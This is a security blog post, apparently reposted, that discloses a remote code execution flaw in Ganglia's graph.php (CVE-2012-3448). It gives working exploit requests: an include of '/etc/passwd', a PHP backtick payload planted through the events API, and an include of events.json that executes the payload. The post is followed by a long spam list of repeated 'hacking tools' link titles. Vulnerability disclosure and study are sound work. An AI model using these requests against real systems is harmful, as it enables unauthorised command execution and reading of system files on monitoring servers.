Extending Your Ganglia Install With The Remote Code Execution API
Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448More articles
- Hack Apps
- Hacker Tools For Pc
- Install Pentest Tools Ubuntu
- Tools 4 Hack
- Pentest Tools Alternative
- Hack Tools Online
- Pentest Tools Linux
- Pentest Tools Online
- Hack Website Online Tool
- Hacker Tools Software
- Pentest Automation Tools
- Best Hacking Tools 2020
- Top Pentest Tools
- Hacker Tools Apk
- Hacking Tools
- Pentest Tools Kali Linux
- Growth Hacker Tools
- Hacking Tools Pc
- Hacker Hardware Tools
- Hack Tools For Windows
- Hacker Tools Software
- Pentest Tools Download
- Hack Tools For Mac
- Underground Hacker Sites
- Hack Tools
- Pentest Tools Review
- Easy Hack Tools
- Easy Hack Tools
- Underground Hacker Sites
- Pentest Tools Windows
- Usb Pentest Tools
- New Hacker Tools
- Hack Tools For Mac
- Pentest Tools Github
- Hacking Tools Kit
- Hacking Tools Online
- Hack Tools Online
- Pentest Tools Website
- Hacker Tools Free
- Easy Hack Tools
- Install Pentest Tools Ubuntu
- Easy Hack Tools
- Easy Hack Tools
- Hacker Tools Apk Download
- Hacking Tools Usb
- How To Make Hacking Tools
- Hack Tools For Mac
- Hacking Tools For Kali Linux
- Hack Tool Apk No Root
- Hacking Tools Online
- How To Install Pentest Tools In Ubuntu
- Hacker Techniques Tools And Incident Handling
- Install Pentest Tools Ubuntu
- Blackhat Hacker Tools
- Hacking Tools For Windows
- Pentest Tools Website Vulnerability
- Hack Tools Download
- Pentest Tools For Android
- Hacking Tools And Software
- Hack Tools For Games
- Pentest Tools Framework
- Hacker Hardware Tools
- Computer Hacker
- Hacker Tools Windows
- Hacking Tools Free Download
- Blackhat Hacker Tools
- Pentest Tools Find Subdomains
- Hacker Tools Mac
- Pentest Tools Framework
- Hacking Tools 2019
- Hacking Tools For Windows
- Hack Tools Github
- Pentest Reporting Tools
- Best Pentesting Tools 2018
- Blackhat Hacker Tools
- Wifi Hacker Tools For Windows
- What Are Hacking Tools
- Pentest Tools Apk
- Growth Hacker Tools
- Pentest Tools Framework
- Hacking Tools Kit
- Pentest Tools Free
- Pentest Tools Website
- Hacker Techniques Tools And Incident Handling
- Hacking Tools 2019
- Hacker Tools Apk Download
- Pentest Tools Windows
- Hacker Search Tools
- Pentest Tools
- Tools 4 Hack
- Hack Tools Download
- Hack Website Online Tool
- Tools For Hacker
- Hacking Tools Kit
- Best Hacking Tools 2019
- Hacks And Tools
- Beginner Hacker Tools
- Hacking Tools Free Download
- Hacks And Tools
- New Hacker Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Automation Tools
- Pentest Tools Website Vulnerability
- Hacker Techniques Tools And Incident Handling
- Hacking Tools Windows
- Pentest Recon Tools
- Nsa Hack Tools Download
- Pentest Tools Port Scanner
- Hacker Tools Apk Download
- Nsa Hacker Tools
- Hacking Tools For Games
- Best Pentesting Tools 2018
- Top Pentest Tools
- Hacking Tools For Kali Linux
- Underground Hacker Sites
- Hacking Tools Online
- Pentest Tools Url Fuzzer
- Hack Tools Online
- Hacking Tools
- New Hacker Tools
- Pentest Tools For Ubuntu
- Pentest Tools Find Subdomains
- Hacker Security Tools
- Kik Hack Tools
- Top Pentest Tools
- Pentest Tools For Android
- Hacking Tools Download
- What Is Hacking Tools
- What Are Hacking Tools
- Hacker Tools Free
- New Hacker Tools
- Android Hack Tools Github
- Nsa Hacker Tools
- Hack App
- Pentest Tools Github
- Hacker Search Tools
- World No 1 Hacker Software
- Hacking Tools
- Pentest Automation Tools
- How To Hack
- Hacker Hardware Tools
- Hacking Tools Usb
- Hacker Tools 2020
- Nsa Hack Tools
- Pentest Tools Download
- Hack Tools For Pc
- Hak5 Tools
- Hacking Tools For Windows Free Download
- Hacker Security Tools
- Hacker Tools Online
- Github Hacking Tools
- Pentest Tools Open Source
- Hacking Tools Name
- Hacker Tools Software
- Hacking Tools Hardware
- Nsa Hacker Tools
- Black Hat Hacker Tools
- How To Hack
- Hacker Hardware Tools
- What Are Hacking Tools
- Best Hacking Tools 2020
- Hacking Tools For Windows 7
- Pentest Tools For Ubuntu
- Pentest Tools Free
- What Is Hacking Tools
- Hack Tools For Ubuntu
- Hacking Tools For Windows Free Download
- Hack Tools Pc
- Hack Rom Tools
- Growth Hacker Tools
- Kik Hack Tools
- Pentest Tools Tcp Port Scanner
- World No 1 Hacker Software
- Pentest Tools Review
- Hacker Tools
- Hacking Tools For Windows Free Download
- Black Hat Hacker Tools
- Hack Rom Tools

